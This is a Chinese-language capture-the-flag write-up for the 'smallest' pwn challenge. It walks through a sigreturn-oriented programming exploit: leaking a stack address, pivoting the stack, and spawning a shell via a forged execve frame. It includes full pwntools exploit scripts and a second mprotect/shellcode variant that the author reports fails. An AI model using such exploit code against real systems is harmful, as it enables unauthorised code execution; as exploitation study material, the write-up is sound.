BUU-360chunqiu2017_smallest-WP
这篇博客写了两天,我也花了很久来理解srop,现在我可以说我会srop了。
这道题的代码非常短
xor rax, rax
mov edx, 400h ; count
mov rsi, rsp ; buf
mov rdi, rax ; fd
syscall ; LINUX - sys_read
retn
仅此六行。由于有syscall和一个read函数,我们可以通过改变read的字节数来控制rax的值,借此实现任意系统调用。于是我们的思路是先调用sys_write泄露栈地址,然后构造signal frame劫持rsp使栈迁移至一个可读写的确定空间(就是我们泄露的地址)。最后再构造一个signal frame指定execve的四个参数并设置系统调用号位execve的调用号,再注入“/bin/sh”,就获得了shell。
exp是这样,我们一段一段来看。


这句,说明read是直接从rsp读的,也就是说偏移为零。由于我在做的时候对栈行为感到了疑惑,这里我贴一下调试信息


这就可以很明显的看出来我们如何然后构造rop链了,我们先让程序再一次从头开始执行,然后输入一个字节,让rax被置为1,由于rdi由rax赋值,所以write的调用条件就成立了,通过下面的构造
start_addr = 0x00000000004000B0
syscall_ret = 0x00000000004000BE
start_void_rax_addr = 0x00000000004000B3
payload = p64(start_addr) + p64(start_void_rax_addr) + p64(start_addr)
sh.send(payload)
sleep(0.3)
sh.send('\xb3')
stack_addr = u64(sh.recv()[0x148:0x148+8])
print hex(stack_addr)
我们就可以实现泄露栈地址了。这里由两个细节要注意
- 输入的那一个字节必须是\xb3,因为读入的时候会直接写到[rsp]处,而这里存的是该函数的返回地址。
- stack_addr的赋值,我们知道栈中大概率会存一个可读可写的地址,但是这个位置在不同的机器上面可能是不同的,所以我碰到了在本地能打通而连远程(BUU)打不通的情况(感谢这位师傅)。解决的方法是直接连接服务器,先对write泄露的栈空间分析

这个是可读写的。所以我们这么处理:stack_addr = u64(sh.recv()[0x148:0x148+8])
,就可以获得一个可用的栈地址。
接下来我们再设置一次read,并劫持栈指针到stack_addr处实现栈迁移。代码如下
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rdx = 0x400
sigframe.rsi = stack_addr
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
payload = p64(start_addr) + 'sigretaa' + str(sigframe)
sh.send(payload)
sleep(0.3)
p64(start_addr) + 'sigretaa'
这里加的'sigretaa'是八个字节的垃圾数据,信号机制中,信号处理完,从内核态重新进入用户态的时候会pop一个sigreturn,而我们这里直接调用了这个系统调用,所以需要垃圾数据来去除这个pop的影响。
然后我们输入十五个字节,触发sigreturn
trigger_sigret = p64(syscall_ret) + 'a'*7
sh.send(trigger_sigret)
sleep(0.3)
执行到这里的时候就正式完成了栈迁移,之后我们只要伪造execve的signal frame并注入'/bin/sh'就可以拿shell了。
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rsp = stack_addr
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rdi = stack_addr + 0x150
sigframe.rip = syscall_ret
payload = (p64(start_addr) + 'sigretaa' + str(sigframe)).ljust(0x150,'a') + "/bin/sh\x00"
sh.send(payload)
sleep(0.3)
sh.send(trigger_sigret)
sh.interactive()
另一种尝试
然后我们再来思考一下,这道题是否有更好的方法。从服务器上面泄露出一个可用的地址并不容易,需要一次一次凑。但是,如果我们获得一个栈的大致位置,然后直接修改他的权限,就可以注入shellcode来拿shell了,这样就不需要试哪个地址是可用的了。所以我们可以考虑利用mprotect系统调用。
也就是说先用mprotect修改权限,此时先不劫持栈指针,然后用read劫持栈指针并注入shellcode,但是实际上仍然是难以实现的,我们在伪造mprotect的signal frame的时候,必然要指定一个stack address,我们手上有的仍然只是一个泄露的stack_addr,在mprotect执行结束后会ret,而ret时的rsp就是我们指定的rsp,这里仍然是需要我们凑的,所以我个人认为shellcode注入的意义不是很大。
from pwn import *
context(log_level = 'debug',arch = 'amd64',os = 'linux')
sh = process("./smallest")
#sh = remote("node3.buuoj.cn","28646")
start_addr = 0x00000000004000B0
syscall_ret = 0x00000000004000BE
start_void_rax_addr = 0x00000000004000B3
payload = p64(start_addr) + p64(start_void_rax_addr) + p64(start_addr)
sh.send(payload)
sleep(0.3)
sh.send('\xb3')
stack_addr = u64(sh.recv()[8:16])
print hex(stack_addr)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rdx = 0x400
sigframe.rsi = stack_addr
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
paylaod = p64(start_addr) + 'sigretaa' + str(sigframe)
sh.send(payload)
sleep(0.3)
trigger_sigret = p64(syscall_ret) + 'a'*7
sh.send(trigger_sigret)
sleep(0.3)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_mprotect
sigframe.rdi = (stack_addr & 0xfffffffffffff000)
sigframe.rsi = 0x1000
sigframe.rdx = 0x7
sigframe.rip = syscall_ret
sigframe.rsp = stack_addr + 0x108
payload = (p64(start_addr) + 'sigretaa' + str(sigframe)).ljust(0x108,'a')
payload += p64(stack_addr + 0x108 + 8)
payload += asm(shellcraft.sh())
print payload
sh.send(payload)
sleep(0.3)
sh.send(trigger_sigret)
sh.interactive()
这个exp在我的本机上会出现错误,实在是看不出来有什么问题。